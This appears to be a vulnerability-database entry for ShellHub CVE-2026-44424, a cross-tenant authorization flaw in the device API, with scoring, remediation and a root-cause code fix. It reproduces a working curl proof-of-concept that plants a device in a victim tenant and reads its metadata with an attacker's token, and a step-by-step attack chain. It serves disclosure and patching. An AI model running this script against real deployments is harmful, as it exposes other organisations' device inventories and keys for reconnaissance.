Skip to main content

ShellHub CVE-2026-44424

MEDIUM
Authorization Bypass Through User-Controlled Key (CWE-639)
2026-05-06 https://github.com/shellhub-io/shellhub GHSA-j72x-xfwg-783f
6.5
CVSS 3.1 · Vendor: https://github.com/shellhub-io/shellhub
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to any ShellHub namespace
  2. Delivery
    Obtain victim tenant UUID via URL/invite leakage
  3. Exploit
    Register rogue device into victim namespace via public auth endpoint
  4. Execution
    Capture returned victim device UID
  5. Persist
    Call GET /api/devices/:uid with attacker JWT
  6. Impact
    Receive full cross-tenant device metadata

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Object-level authorization, IDOR prevention
Exploitation Conditions

Exploitation requires a valid authenticated session (JWT or API key) to any namespace on the same ShellHub instance - the attacker does not need credentials in the victim namespace. The attacker must also know or obtain a target tenant UUID, which frequently leaks via ShellHub UI URLs, email invitation links, support communications, or prior namespace membership. Device UIDs can be obtained by registering a device into the victim namespace via the unauthenticated POST /api/devices/auth endpoint using the known tenant UUID. Exploitation is limited to multi-tenant ShellHub deployments; single-tenant or fully isolated instances are not at risk from cross-tenant data disclosure. The CVSS vector PR:L confirms authentication to some namespace is mandatory.

Impact

The CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N scores 6.5 - note that the advisory originally stated 7.5, which appears to be an error since the provided vector calculates to 6.5 with PR:L; this discrepancy should be verified against the vendor advisory at GHSA-j72x-xfwg-783f. PR:L correctly reflects that exploitation requires a valid authenticated session to any namespace, not just the victim's. EPSS at 0.03% (8th percentile) suggests exploitation is not currently widespread or automated. There is no CISA KEV listing. A validated POC exists, confirming the attack path is practical, not theoretical. Real-world risk is highest in shared or SaaS multi-tenant ShellHub deployments where multiple organizations share the same instance, as the attack enables systematic reconnaissance of other tenants' device inventories. Single-tenant or isolated deployments face near-zero risk from this specific flaw.

Exploit ScenarioDerived

An attacker with any valid ShellHub account authenticates via POST /api/login, then either obtains a victim tenant UUID through prior access, UI URL leakage, email invites, or support-channel exposure. They register a device into the victim's namespace via the public POST /api/devices/auth endpoint (which accepts any tenant UUID without ownership verification) to obtain a valid device UID, then call GET /api/devices/<uid> with their own JWT to receive the full device object from the victim namespace. A validated proof-of-concept script demonstrating this exact flow was published alongside the advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 23, 2026

Cross-tenant IDOR in ShellHub Community's device API exposes full device metadata across namespace boundaries to any authenticated user. An authenticated attacker who knows or can obtain a target device UID can issue a crafted GET request to /api/devices/:uid and receive the victim tenant's device object - including hostname, MAC address, OS fingerprint, public SSH key, namespace name, last-seen timestamp, and remote IP address. A validated proof-of-concept exists against v0.24.1; no public exploit identified at time of analysis and no CISA KEV listing, though EPSS is 0.03% (8th percentile), reflecting low but real probability of opportunistic exploitation in multi-tenant deployments.

RemediationAI

Upgrade ShellHub to v0.24.2, which applies namespace scoping in the GetDevice service function. The upstream fix is tracked in the GitHub Security Advisory at https://github.com/shellhub-io/shellhub/security/advisories/GHSA-j72x-xfwg-783f. For operators unable to upgrade immediately, a compensating control is to restrict the /api/devices/:uid endpoint at the reverse proxy or API gateway layer so that it can only be reached by requests whose Authorization token's tenant claim matches the target device's registered tenant - however, this requires custom middleware logic outside the application and is complex to implement correctly. Alternatively, restrict ShellHub API access to trusted internal networks if the deployment is not inherently multi-tenant, reducing the attack surface by limiting who can hold a valid authenticated token. Neither workaround is as reliable as applying the v0.24.2 patch.

Affected Packages

go github.com/shellhub-io/shellhub fix: 0.24.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

ShellHub is a Go-based open-source SSH gateway and device management platform (pkg:go/github.com/shellhub-io/shellhub) that supports multi-tenant namespaces. The vulnerable code is in api/services/device.go at the GetDevice function (lines 97-104), which resolves a device by UID using store.DeviceResolve without applying an InNamespace(tenant) scoping filter. The root cause is CWE-639 (Authorization Bypass Through User-Controlled Key): the device UID acts as a directly controlled object reference, and the Authorize middleware (api/routes/middleware/authorize.go:12-27) only verifies that a tenant exists in the request context - not that the requested resource belongs to that tenant. The inconsistency is evident within the same file: DeleteDevice at line 137 correctly applies InNamespace, proving the pattern is known but was missed for the read path.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/shellhub-io/shellhub) PRIMARY 6.5 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
vuln.today AI 6.5 MEDIUM

Network-reachable API endpoint requiring only a valid authenticated session (PR:L); full tenant metadata disclosure (C:H) with no integrity or availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE MEDIUM

Primary rating from Vendor (https://github.com/shellhub-io/shellhub).

CVSS VectorVendor: https://github.com/shellhub-io/shellhub

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

Summary

GET /api/devices/:uid returns the full device object whenever the caller is authenticated, without verifying that the device belongs to the caller's namespace (tenant). Any authenticated user (JWT or API Key) who knows or can guess a device UID can read device metadata from any other namespace.

Severity

CVSS 3.1: 7.5 (High) CWE-639 - Authorization Bypass Through User-Controlled Key

Affected versions

ShellHub Community v0.24.1 (validated). Likely all prior versions that share this handler.

Root cause

api/services/device.go:97-104 - GetDevice resolves the device by UID without scoping to the caller's tenant:

go
  func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {
      device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid))
      // ⚠️ missing: s.store.Options().InNamespace(tenant)
      ...
  }

Compare with DeleteDevice in the same file (line 137) which correctly applies InNamespace(tenant).

The Authorize middleware (api/routes/middleware/authorize.go:12-27) only checks that a tenant is present in the context - not that the resource belongs to that tenant.

Proof of concept (validated live against v0.24.1)

Pre-requisite: attacker has any valid user account and knows a target tenant_id (UUIDs frequently leak via UI URLs, email invites, support channels, or prior namespace membership).

bash
  ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"attacker","password":"..."}' | jq -r .token)

  TARGET_TENANT="<victim-tenant-uuid>"
# Plant a device in the victim tenant via the public device-auth endpoint
# (this also works when the victim already has devices and the attacker
# merely guessed/obtained a real UID via another vector)
  VICTIM_UID=$(curl -s -X POST http://target/api/devices/auth \
    -H 'Content-Type: application/json' \
    -d "{
      \"info\":{\"id\":\"x\",\"pretty_name\":\"x\",\"version\":\"v0.24.1\",\"arch\":\"amd64\",\"platform\":\"docker\"},
      \"hostname\":\"poc\",
      \"identity\":{\"mac\":\"aa:bb:cc:dd:ee:ff\"},
      \"public_key\":\"-----BEGIN RSA PUBLIC KEY-----\\nx\\n-----END RSA PUBLIC KEY-----\",
      \"tenant_id\":\"$TARGET_TENANT\"
    }" | jq -r .uid)
# Read the device from a completely different tenant
  curl -i "http://target/api/devices/$VICTIM_UID" \
    -H "Authorization: Bearer $ATTACKER_TOKEN"
# Expected (fixed):   HTTP 403/404
# Observed (v0.24.1): HTTP 200 + full device JSON (tenant_id, public_key, MAC,
#                     namespace name, OS info, last_seen, remote_addr, ...)

Impact

  • Cross-tenant disclosure of device metadata: hostname, MAC, OS fingerprint, public SSH key, namespace name, last-seen timestamp, remote address.
  • Enables namespace enumeration, device inventory reconnaissance of other tenants, and targeted follow-up attacks.

Suggested fix

In api/services/device.go GetDevice, extract tenant from context and apply InNamespace:

go
  func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {
      tenant := gateway.TenantFromContext(ctx)
      opts := []store.QueryOption{}
      if tenant != nil {
          opts = append(opts, s.store.Options().InNamespace(tenant.ID))
      }
      device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid), opts...)
      ...
  }

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Prevalence
Low
niche open-source SSH gateway, limited multi-tenant enterprise footprint
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Affected Products (CPE)CVE.org

pkg:go/github.com_shellhub-io_shellhub

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy